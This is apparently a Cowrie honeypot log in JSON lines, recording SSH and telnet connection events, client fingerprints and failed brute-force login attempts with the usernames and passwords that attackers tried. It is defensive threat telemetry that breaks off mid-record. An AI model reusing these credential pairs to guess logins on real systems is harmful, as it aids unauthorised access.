{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.625507Z","src_ip":"211.106.137.135","session":"5aaf1dbb4219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.652562Z","src_ip":"122.176.122.24","session":"8035f6fbad81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:24.914568Z","src_ip":"129.121.102.3","session":"df260ed5f785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"test123","message":"login attempt [deployer/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:25.478660Z","src_ip":"211.106.137.135","session":"5aaf1dbb4219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpassword2025","message":"login attempt [root/rootpassword2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:25.760514Z","src_ip":"122.176.122.24","session":"8035f6fbad81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:26.682834Z","src_ip":"211.106.137.135","session":"5aaf1dbb4219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:27.031815Z","src_ip":"122.176.122.24","session":"8035f6fbad81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:28.893888Z","src_ip":"8.210.75.243","session":"195896e722c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2496,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9017f0ccf0b","protocol":"ssh","message":"New connection: 196.188.93.169:2496 (159.203.135.109:22) [session: b9017f0ccf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:29.473806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:29.478268Z","src_ip":"196.188.93.169","session":"b9017f0ccf0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:29.650196Z","src_ip":"196.188.93.169","session":"b9017f0ccf0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loko123","message":"login attempt [root/loko123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:30.372339Z","src_ip":"196.188.93.169","session":"b9017f0ccf0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:31.546629Z","src_ip":"196.188.93.169","session":"b9017f0ccf0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":53544,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c8aab50f6fe","protocol":"ssh","message":"New connection: 154.116.254.157:53544 (10.17.0.5:22) [session: 7c8aab50f6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:51.472003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:51.476012Z","src_ip":"154.116.254.157","session":"7c8aab50f6fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:51.641570Z","src_ip":"154.116.254.157","session":"7c8aab50f6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135445594788,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:51.688690Z","src_ip":"170.64.224.25","session":"8e10a91f45e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz\"WSX","message":"login attempt [root/1qaz\"WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:52.341441Z","src_ip":"154.116.254.157","session":"7c8aab50f6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:36:53.509998Z","src_ip":"154.116.254.157","session":"7c8aab50f6fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":34222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4561d450dc3","protocol":"ssh","message":"New connection: 144.91.108.61:34222 (10.17.0.5:22) [session: f4561d450dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:02.673673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:02.677663Z","src_ip":"144.91.108.61","session":"f4561d450dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:02.773054Z","src_ip":"144.91.108.61","session":"f4561d450dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GMX$S3cur3@W0rd","message":"login attempt [root/GMX$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:03.067053Z","src_ip":"144.91.108.61","session":"f4561d450dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52910,"dst_ip":"10.17.0.5","dst_port":22,"session":"873988660e38","protocol":"ssh","message":"New connection: 8.210.75.243:52910 (10.17.0.5:22) [session: 873988660e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:03.959778Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:04.165592Z","src_ip":"144.91.108.61","session":"f4561d450dc3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:04.829849Z","src_ip":"8.210.75.243","session":"873988660e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:07.726556Z","src_ip":"8.210.75.243","session":"eaefac0f28e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":39110,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b610dbbcaf6","protocol":"ssh","message":"New connection: 68.207.224.247:39110 (159.203.135.109:22) [session: 0b610dbbcaf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:07.889298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:07.893828Z","src_ip":"68.207.224.247","session":"0b610dbbcaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:07.931991Z","src_ip":"68.207.224.247","session":"0b610dbbcaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester11","message":"login attempt [tester/tester11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:08.119484Z","src_ip":"68.207.224.247","session":"0b610dbbcaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:09.161120Z","src_ip":"68.207.224.247","session":"0b610dbbcaf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:10.115755Z","src_ip":"8.210.75.243","session":"873988660e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:16.896068Z","src_ip":"8.210.75.243","session":"2ed5a0806267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":46488,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec86a70ec7fe","protocol":"ssh","message":"New connection: 103.199.16.90:46488 (159.203.135.109:22) [session: ec86a70ec7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:24.444921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:24.452945Z","src_ip":"103.199.16.90","session":"ec86a70ec7fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:24.667424Z","src_ip":"103.199.16.90","session":"ec86a70ec7fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phoenix","password":"phoenix","message":"login attempt [phoenix/phoenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:25.544436Z","src_ip":"103.199.16.90","session":"ec86a70ec7fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:26.771117Z","src_ip":"103.199.16.90","session":"ec86a70ec7fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"8abf1f164de5","protocol":"telnet","message":"New connection: 170.64.224.25:58648 (159.203.135.109:23) [session: 8abf1f164de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:30.263930Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":45742,"dst_ip":"159.203.135.109","dst_port":22,"session":"a64481bf2628","protocol":"ssh","message":"New connection: 113.161.222.150:45742 (159.203.135.109:22) [session: a64481bf2628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:34.655723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:37:34.659969Z","src_ip":"113.161.222.150","session":"a64481bf2628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-s